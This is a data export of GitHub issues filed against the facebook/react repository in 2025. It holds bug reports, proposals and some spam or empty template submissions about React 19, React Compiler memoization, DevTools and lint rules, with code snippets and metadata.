facebook/react,3362695640,Bug: TaintRegistryPendingRequests is undefined when using react-markup,"Current React 19.1.1 / react-server is not having TaintRegistryPendingRequests (and other TaintRegistry related members) inside it's SharedInternals which is required for react-markup to work.

Despite this line:
https://github.com/facebook/react/blob/8d7b5e490320732f40d9c3aa4590b5b0ae5116f5/packages/react/src/ReactSharedInternalsServer.js#L36
It is not present in the react.react-server npm package.

Here you can go to the react.react-server exported/compiled code and see that it's missing but required in react-markup

https://www.npmjs.com/package/react?activeTab=code
https://www.npmjs.com/package/react-markup/v/0.0.0-experimental-9784cb37-20250730?activeTab=code

This issue if true is critical to support SSR in a react-server env, there is simply no other option right now.","Status: Unconfirmed,Resolution: Stale",2025-08-28T10:07:54Z,2025-12-08T18:08:31Z,2
facebook/react,3359705196,[DevTools Bug] Failed to construct 'URL': Invalid base URL,"### Website or app

Uncaught Error: Failed to construct 'URL': Invalid base URL

### Repro steps

Just clicking on the items in my component

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Failed to construct 'URL': Invalid base URL

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1433932
```

### Error component stack (automated)

```text
at ActualSourceButton (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1435264)
    at Suspense (<anonymous>)
    at Components_InspectedElementViewSourceButton (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1435715)
    at div (<anonymous>)
    at div (<anonymous>)
    at InspectedElementWrapper (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1436226)
    at va (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1380724)
    at div (<anonymous>)
    at InspectedElementErrorBoundaryWrapper (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1387058)
    at NativeStyleContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1419824)
    at div (<anonymous>)
    at div (<anonymous>)
    at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1329355)
    at SettingsMo... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-27T14:56:09Z,2025-10-08T13:05:49Z,1
facebook/react,3358365113,[Compiler Bug]: errors when the `this` type is declared in a function,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYIB4AcIwAuABAGZQZyECWEGxUYCAYhBABQCGxAvMcAF8AlMmKcMAT36ZixOHTAlsvBkwDKhToQRdiAfj3FCMKAiEBuTDOIB6G8WoBzDAQRgjE3G7gxquEmASGJrY1oSeCMRqEAC2CAAqESriEpb0tvYIMDAE7nRGABbU7ricMJxx2jAeXg705JQ0dNYNVLT1bOyERWCi0XGJXkLSGNYC1jAIhLD0oRgCIAJAA

### Repro steps

1. Have any hook or component written in Typescript that has a function with the `this` type declared.
2. Notice react compiler error.


### How often does this bug happen?

Every time

### What version of React are you using?

Latest version on playground

### What version of React Compiler are you using?

Latest version on playground","Type: Bug,Status: Unconfirmed",2025-08-27T07:37:01Z,2025-08-27T21:58:45Z,3
facebook/react,3358135498,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-27T06:17:00Z,2025-08-27T14:40:55Z,0
facebook/react,3357086074,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

React compiler memoizing impure imported functions

### Repro steps

React compiler is memoizing an `imported impure function` that depend on a `global reference` and on a `local state variable`, which I think is the key here.

The function looks something like this:

```
// utils file

// impure function
export const getSomeValue = (param) => globalRef.doSomething(param);


// component file
import { getSomeValue } from './utils';

export const Comp = () => {
  const param = useSomeHook();

  // compiler is putting this called under: `if (cache[x] !== param)`
  const result = getSomeValue(param);
  ...
}
```

my expectation, since it was an imported function, and the compiler doesn't know if it's pure or not, that it wouldn't memoize it.

it would make sense if the function was pure.

### How often does this bug happen?

Every time

### What version of React are you using?

19.1.1

### What version of React Compiler are you using?

19.1.0-rc.2","Type: Bug,Status: Unconfirmed",2025-08-26T20:48:43Z,2025-08-27T14:39:55Z,4
facebook/react,3357045861,"Bug: re-ordering components with stable keys invalidates refs/state, since 19.0.0","I've tested with 18.3.1, 19.0.0, and 19.1.1.

I build a modular synth application which uses the Web Audio API. Since it's possible for synth patches to grow quite large, I memoize the ordered list of modules for the sake of having a sensible keyboard navigation order. This means that the order of rendered modules can change.

Up until React 18.3.1, this changing order of rendered modules was not causing any issues. I make sure to use stable unique identifiers as keys when rendering, so components' internal state remains stable as the modules are dragged around the canvas.

Here's a snippet of the code used to render the modules:

```tsx
	const sortedModules = useMemo(
		() => {
			// ... order the modules based on their positions in the canvas
		}),
		[state.modulePositions, state.modules],
	);

	return (
		<>
			{sortedModules.map(([module, position]) => (
				<Module
					key={module.moduleKey}
					module={module}
					position={position}
					state={state}
					dispatch={dispatch}
				/>
			))}
		</>
	);
```

Internally, `<Module />` calls a hook which stores a ref to a ""node"" object – which acts as its handle into the audio API – and initializes it like so:
```typescript
	// ...
	const nodeRef = useRef<NodeType>(undefined);

	if (!nodeRef.current) {
		nodeRef.current = nodeFactory();
	}
	// ...
```

So, since React 19.0.0, this ref seems to get out of sync when the order of the rendered components changes.

React version: 19.0.0, 19.1.1

## Steps To Reproduce

1. `git c... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-26T20:32:55Z,2026-03-11T06:20:48Z,10
facebook/react,3352308710,A jaký je Váš názor?,https://digitalnizdravi.cz/clanky/mezilidske-vztahy/jak-technologie-ovlivnuji-nase-vztahy?appview=true,,2025-08-25T15:35:51Z,2025-08-25T17:16:02Z,0
facebook/react,3351880688,Middle ground between React Compiler and manual `useMemo`s,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

[Example 1](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRchYOLReYAEIQIAawBKCNDARgAFnkwBzIgF8iAXiJQwCYWLJ0EADwaN2RTt16UAhktkAVCAElsAGygATBAGUIMDgIXpraur4I7gi4AfS6UbgACvZOrh7eCOYcXJg8RHYOYM4AosZwnj7+gcGhOn6R0Tix8Y3JhSVlFZnsFkQA9H1EAEwADCNE7oqyRBBoRHIiopy27u5gRLaYIVxUUDi2+Nw92dZEAEaLtboAsgjkEPRMmgB8nDIHeov0vZYC+hJSGTyRRKAA0P3yKSKaXKGSqQS84I4lgKqVKsMqAQRSMsjFBRAA2n9FpJpLIFMp8ajoW4MX4scEqVCOnT4cEALpZXoDYZjCZTdazeaXOArNYbLZWXb7Q65Y6WHJ5SgwPCIdZaWT4cgfRIqtX0C5iRgAbnlRBkOFgxAAPIZ9lMYM8IcA+gAqXnjSaYaZCgBSvgAGkRXX1VL1rX07bYHU7MGHMCBVEA) · [Example 2](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQQwmwAsEYBhCAWwAdMEM8BeXACmAB0NdcEA3RtgA03XpgoAbAJZwA1qIwBfAJS5mAPlxceudFjzBcAI0lQEAZRoJS0jAHNcS9bihgEAITOXrth2xUAbjE9TBxtXBgEABMrahsSO0dnVjcEACUYuISkgOCMEP1wkgBDDGjJBClZORdMkrhsADo0ihLJSWMGuTYA9S0dXl5pADN2ASEm7ABPWgR1ZlZOEFNzZbVBofEMavk2VZ94v3sm6WigkN5nBEl3bUuhiRk9qNjfRIdT8-ytpRClYS4ADaDyeNUUW1e2WOXwhQwO0I+JzOcIAuhcCroothYDw2A8ADzGKDYbCYXBg+TMYClcqVXZyJQaB68YAAegAVLgAIwABl5uBkGAQYApYwAUhYABq4Dlsv66XgEtnE0mYZm6DFKfIgJRAA)

### R... [TRUNCATED]","Component: React Compiler,Type: Discussion",2025-08-25T13:33:02Z,2025-10-03T23:12:18Z,4
facebook/react,3350757976,"I attempted to use react - devtools, but it failed.","My scenario is that a React component is rendered in an iframe. I hoped to use react - devtools to detect the internal state, but it didn't work out.
OS: macOS 14.7.3
Browser: chrome 139.0.7258.68

1. (my code)
 if (window.parent !== window) {
    const script = document.createElement(""script"");
    script.src = ""http://localhost:8097"";
    document.head.appendChild(script);
  }
2. (console)
npx react-devtools 


<img width=""1600"" height=""1200"" alt=""Image"" src=""https://github.com/user-attachments/assets/b284ea17-875e-4ea6-8fd2-7c5e8702a176"" />",Resolution: Stale,2025-08-25T07:25:27Z,2025-12-01T17:07:09Z,3
facebook/react,3350604596,[Proposal] Align suspense behavior,"## Summary

I propose that every `react` root be automatically wrapped in a `Suspense` boundary with no fallback
UI.

```diff
import { createRoot } from 'react-dom/client';
import { App } from './app';

const element = document.getElementById('root');
const root = createRoot(element);

root.render(
+ // Suspense boundary with no fallback UI added by react internally
+  <Suspense fallback={null}>
    <App />
+  </Suspense>
);
```

## Details

In order to understand why I am proposing this change, let's take a look at the suspense behavior in
`react@19.1.1` and `react-dom@19.1.1`.

I've created an application where one component is a lazy component:

```tsx
import { lazy } from 'react';

const LazyContent = lazy(() => import('./content'));
```

### Scenario 1: Lazy component in initial tree

In this scenario, a `lazy` component is rendered as a part of the initial `react` tree. The `lazy`
component will always take longer than `2000ms` to resolve.

#### Case 1.1: With Suspense boundary

[Standalone example](https://stackblitz.com/edit/vitejs-vite-tuduj4gz?file=src%2Fapp.tsx)

| Initial render                                                                                     | After dynamic import resolved                                                              |
| -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| ![initial-rende... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-25T06:25:33Z,2025-12-01T17:07:10Z,4
facebook/react,3348463900,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23T16:43:37Z,2025-08-23T22:26:39Z,1
facebook/react,3348463826,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23T16:43:31Z,2025-08-23T22:26:57Z,1
facebook/react,3348463735,https://github.com/facebook/react/issues/new/choose,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23T16:43:23Z,2025-08-23T22:27:10Z,0
facebook/react,3347087988,Bug: eslint-plugin-react-hooks error with Flow component syntax,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Plugin version: 4.5

I don't know if I've overlooked something or made a mistake, but after switching to Flow's component syntax I have lint errors coming from `eslint-plugin-react-hooks`.

## Steps To Reproduce

1. Use flow component syntax in a React component
2. Run linter

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/facebook/react-strict-dom/pull/377

## The current behavior

Error:

```
React Hook ""useStrictDOMElement"" is called in function ""createStrictDOMTextInputComponent"" that is neither a React function component nor a custom React Hook function. React component names must start with an uppercase letter. React Hook names must start with the word ""use""
```

## The expected behavior

No error",Status: Unconfirmed,2025-08-22T23:43:53Z,2025-08-25T18:36:32Z,6
facebook/react,3347056323,"[Compiler Bug]: `ref.current === undefined`, `!ref.current` are not allowed","### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRA9J0QCoAWeMEQDuEGAGswydkSJxCYHERyCwAJQRoA6uKlEAvEShgEmtPUxQANtcayieNEXqqh53ZLAA6OLBi0ygCEBkZWtsxsHHJuGlqeUr7+gYZErCD8AIZB6Q4AvuwO3EQAQlDKsUQAJhAIYJiAmAQ4MhwKmEoqauYAIrX1ykYmZlpMDk4usT19dEkwAXREIYOYVVp4mAhVkQ4xXVq9dTN+cylG6Vk5IPmFHMUCQi6mtI7EmUQBmdYAtGIw1lXyCCrABGmVMzE+kGq0yaLTkbQ6ky0AEFrJADv1UkNzKMOON6EEkWhUejpjhZvMcNtop13Ci0RAMUdkgszhlsrkOAVMA4AjhYMQADxVPAANy4AD52HkiCA8kA

### Repro steps

(This may be by design, but still reporting it as it’s causing deopts in valid real-world code.)

In a codebase I'm adopting React compiler on, it's common to have this pattern to initialize refs:

```ts
const ref = useRef(undefined)
if (!ref.current) ref.current = something()
// or also:
if (ref.current === undefined) ref.current = something()
```

Right now, React Compiler deopts when encountering this pattern, mentioning “Cannot access refs during render”. 

This is likely by design (everywhere in React docs, if you need to initialize a ref to nothing, you’re shown to use `null`). However,... [TRUNCATED]","Component: React Compiler,Compiler: Ref Validation",2025-08-22T23:15:31Z,2025-09-17T20:11:57Z,4
facebook/react,3345598015,[DevTools Bug]: devtools does not works on null origin(sandbox),"### Website or app

Please refer to 'How to reproduce'.

### Repro steps


Save the following code as `server.js` , then run the command: `node server.js 1234 --sandbox`
and open `http://127.0.0.1:1234` in your browser.
When you check the Developer Tools, you'll notice that the React Components tab doesn't appear.

<details>

<summary><b><code>server.js</code> source code</b></summary>

```js
const http = require(""http"");

const args = process.argv.slice(2);
const withSandbox = args.includes(""--sandbox"");
if (args.length < 1) {
    console.error(""Usage: node server.js <port> [--sandbox]"");
    process.exit(1);
}

const html = `
<!DOCTYPE html>
<html>
  <head>
    <title>Hello</title>
  </head>
  <body>
    <div id=""root""></div>
    <script crossorigin src=""https://unpkg.com/react@18/umd/react.development.js""></script>
    <script crossorigin src=""https://unpkg.com/react-dom@18/umd/react-dom.development.js""></script>
    <script>
      const App = () => React.createElement(""h1"", null, ""Hello, React${withSandbox ? "" (sandbox enabled)"" : """"
    }"");
      ReactDOM.createRoot(document.getElementById(""root"")).render(React.createElement(App, null));
    </script>
  </body>
</html>`;

const port = parseInt(args[0], 10);
if (Number.isNaN(port) || port <= 0) {
    console.error(""Invalid port:"", args[0]);
    process.exit(1);
}
const sendRes = (req, res, status, contentType, body) => {
    res.statusCode = status;
    res.setHeader(""Content-Type"", contentType + ""; charset=utf-8"");
    ... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-22T14:01:47Z,2026-01-13T16:49:51Z,3
facebook/react,3343500132,[Compiler Bug]: The “one or more React ESLint rules were disabled” check is too aggressive,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRchYOLRAbgEMANlAQAaImAQ4A8jgAWCGADURYogF8iAXiJRpAZQoIAEhAgBrJu3ZF90gKJo0CXPSa6AfCzv3O3BDCCAB0whAA5vRCogiMfvbScorKarHR6nEJRAD0OUQIYMJ4dAC0ACZ4YIIARsGlmAgAHjilxY1EMAiCuKUKFpZgOc0Kggb4-AgVCJRgfpqSANoxYgC68Zh+XTiwxAA8JAp4wuUCmTrAKwjaOV7smiCaQA

### Repro steps

A codebase where I’m adopting React Compiler right now has multiple components with `// eslint-disable-next-line react-hooks/exhaustive-deps` put in front of a `useEffect` dependency array:

```js
function Component() {
  const { value, setOtherValue } = useSomeHook()

  useEffect(() => {
    console.log(value)
    setOtherValue(value)
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [value])

  return <Child value={value} />
}
```

(In this scenario, the developer’s intention is to run the effect only when `value` changes.)

This is, arguably, a code smell (if `setOtherValue` changes, we won’t call it, and that might lead to bugs!). But this doesn’t affect the effectiveness of memoization. However, Compiler ba... [TRUNCATED]","Component: React Compiler,Resolution: Stale,Compiler: todo",2025-08-21T23:24:19Z,2026-02-02T05:23:55Z,8
facebook/react,3343363868,Bug: in dev mode the dispose function is applied to incorrect state,"When using a third-party stateful object that needs to be explicitly disposed of, I'm using an effect that returns a dispose function. In dev mode I observe then that React uses the stateful object after it has been disposed, and then disposes of it a second time.

React version: 19.1.1

## Steps To Reproduce

1. Run the code sample below
2. Observe the console logs
3. Navigate away to some other page

```ts
import React from ""react"";

export const TestComponent = () => {
  console.log(""Start rendering TestComponent"");
  const state = React.useMemo(() => {
    return new State();
  }, []);
  React.useEffect(() => {
    return () => state.dispose();
  }, []);
  console.log(""TestComponent rendered"", state.id);
  return ""Test"";
};

class State {
  id: number;
  constructor() {
    this.id = Math.floor(Math.random() * 1000000);
    console.log(""new State"", this.id);
  }
  dispose() {
    console.log(""dispose of state"", this.id);
  }
}
```

## The current behavior

Currently, the component is created twice in dev mode (as expected), and each copy creates a new State (as expected). One of those copies then gets disposed during unmount (as expected). However, that same object gets used again in a subsequent render even after it was unmounted (not expected). It then gets disposed of again during subsequent navigation (definitely not expected). The original second copy of the State is not disposed (also not expected).
```
Start rendering TestComponent
new State 666058
new State 109916... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-21T22:18:08Z,2025-12-01T17:07:16Z,2
facebook/react,3341653411,Bug: actQueue forever growing in react 19.0.0,"React version: 19.0.0

## The current behavior
This is very hard to describe, I encountered a unit test starts to fail when I migrate react from 18.3.1 to 19.0.0.

This is a very large component, in the component tree, there are two things to notice.
1. There are usages of `<Suspense />` and `react.lazy`
2. There is a component that has `const [ref, setRef] = useState(null)` and returns `...<div ref={setRef} />...` (I need this pattern to append observer + other logic in a effect, ref is a dependency of this effect)

When this component is being tested with react 19.0.0 in react-testing-library, the test enters some kind of infinite loop. I use breakpoint to find that in react-dom-client, the actQueue keeps growing infinitely

<img width=""1015"" height=""767"" alt=""Image"" src=""https://github.com/user-attachments/assets/926e0e29-0c6b-4485-bd38-d6198b279e77"" />

To debug this, I started to delete code. I found that
1. If I remove the callsite of `setRef` from ref props, the test can finish
2. If I remove the lazy component and Suspense, the test can finish

if I keep `setRef` callsite but remove the usage of `ref` state from the effect, the test still hang


## The expected behavior
unit test can finish","Status: Unconfirmed,Resolution: Stale",2025-08-21T12:57:34Z,2026-01-03T10:05:51Z,11
facebook/react,3339950222,CORS Solved,,,2025-08-21T01:21:23Z,2025-08-21T02:16:58Z,0
facebook/react,3327128098,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-16T10:23:27Z,2025-08-16T10:27:26Z,0
facebook/react,3326701652,This should fail due to permission restrictions,This issue creation should be blocked by GitHub permission system.,,2025-08-16T01:24:12Z,2025-08-16T01:42:30Z,0
facebook/react,3326126703,[Compiler Bug]: breaks referencial stability in @tanstack/react-query,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://stackblitz.com/edit/vitejs-vite-ucqzqtvo?file=vite.config.ts

### Repro steps

I noticed my fetch responses weren't referentially stable and causing aggressive re-renders in my application. I traced it to react-compiler's interactions on @tanstack/react-query and made a repro attached above.  Not sure how to solve this, seems like a strange react-compiler side effect.

- The useMemo is rerunning when `data` is unchanged
```
export function useFetchThing() {
  const { data, isLoading, error } = useQuery({
    queryKey: ['blah'],
    queryFn: async () => {
      const resp = await fetch('google.com');
      return resp;
    },
  });

  React.useMemo(() => {
    console.log(
      '!!! Should not re-run on re-render, but does with react-compiler!'
    );
  }, [data]);

  return { data, isLoading, error };
}
```




### How often does this bug happen?

Every time

### What version of React are you using?

19.1.0

### What version of React Compiler are you using?

19.1.0-rc.2","Type: Bug,Status: Unconfirmed",2025-08-15T19:29:36Z,2025-08-20T18:14:39Z,5
facebook/react,3324567623,Bug: `react@19` renders always `null` with `react-test-renderer@19` ,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19

## Steps To Reproduce

1. `npm install react@19 react-test-renderer@19`
2. use [`create`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderercreate) and call [`toJSON()`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderertojson)/[`toTree()`](https://legacy.reactjs.org/docs/test-renderer.html#testrenderertotree) APIs

```tsx
import assert = require(""node:assert"");
import { create } from ""react-test-renderer"";

const testRenderer = create(<div />);

try {
  assert(testRenderer.toJSON(), ""JSON should not be null"");
} catch (error) {
  console.error(error);
}

try {
  assert(testRenderer.toTree(), ""Tree should not be null"");
} catch (error) {
  console.error(error);
}
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
https://codesandbox.io/p/devbox/elegant-kepler-224hrz?workspaceId=ws_AUrTGk3RTnAN4nJ64LUUVP

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the a... [TRUNCATED]",Status: Unconfirmed,2025-08-15T07:15:27Z,2025-08-19T08:06:57Z,1
facebook/react,3323068980,[Compiler]: Memoization not applying,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/OliverJAsh/react-compiler-flow-bug

### Repro steps

The reduced test case contains two components, `WithFlow` and `WithoutFlow`. They are identical except for this line:

`WithFlow`:
```js
const myRef = flow((x) => [x], setState);
```
`WithoutFlow`:
```js
const myRef = (x) => {
  setState([x]);
};
```

For reference, `flow` is a helper function for composing functions together:

```js
const flow = (a, b) => (x) => b(a(x));
```

When using `WithFlow` we get `Maximum update depth exceeded.`.

When using `WithoutFlow` it works (no error).

---

In [the React Compiler playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6Adl3BJ2FQA2EAO4EAvAQAUpADQEARgEoJAPmkAPFePUKZUrUo6de-Qr2wQwCEpTATpytYuM8+AggHU0eABYAxYTFJKW11YC4CAlMPAG15azwAZTxSPAQAXQcScjwAOihrFLSEKU4oQUEjSIIAelqCQBlyGpjCDABPWwdKIKkDMIJYjQyEhGTU9OruTiicigLrAFFKSgQKPoHgAF95WIypmqY8WBmAHgATNAA3AiZKcWALHGtbMCkO2yUtutVjLdcTO5CN4-NA8IFRA5Qs4IjNokDBqNxiUspI5vlCghiukyhUqsYovUCIBQchaCI+CEoUK0MJqUUS2NKQ32BII-y4NXRCwQy1W62hOgI212LI5cKOJwIF2ut0pDyeVhslLeFMoXx+f... [TRUNCATED]",Component: React Compiler,2025-08-14T17:42:35Z,2025-08-27T22:37:42Z,13
facebook/react,3318191619,[DevTools Bug]: No highlighting on modal `<dialog>` elements,"### Website or app

https://github.com/Rumperuu/react-dev-tools-dialog-example

### Repro steps

1. Open a [`<dialog>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/dialog) using the [`showModal()` method](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/showModal)
2. Try to highlight components within the modal dialog using React DevTools

Verified present in React 17 & 19, Waterfox 6.5.11 (based on Firefox ESR 128) and Chrome 139 and React DevTools 6.1.1 (Firefox) and 6.1.5 (Chrome).

Opening a non-modal dialog (with [`show()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDialogElement/show)) works as expected.

https://github.com/user-attachments/assets/acca8815-c122-4b28-b6ea-abc73b34e9a0

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-13T12:04:32Z,2025-08-29T14:46:01Z,1
facebook/react,3312100302,[Compiler Bug]: atomic.ai,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

public GitHub repo

### Repro steps

[dumpstate-stats.txt](https://github.com/user-attachments/files/21725031/dumpstate-stats.txt)

### How often does this bug happen?

Every time

### What version of React are you using?

v19.1

### What version of React Compiler are you using?

v19.1","Type: Bug,Status: Unconfirmed",2025-08-12T01:01:19Z,2025-08-12T01:05:22Z,2
facebook/react,3312087785,Bug:,"<!--
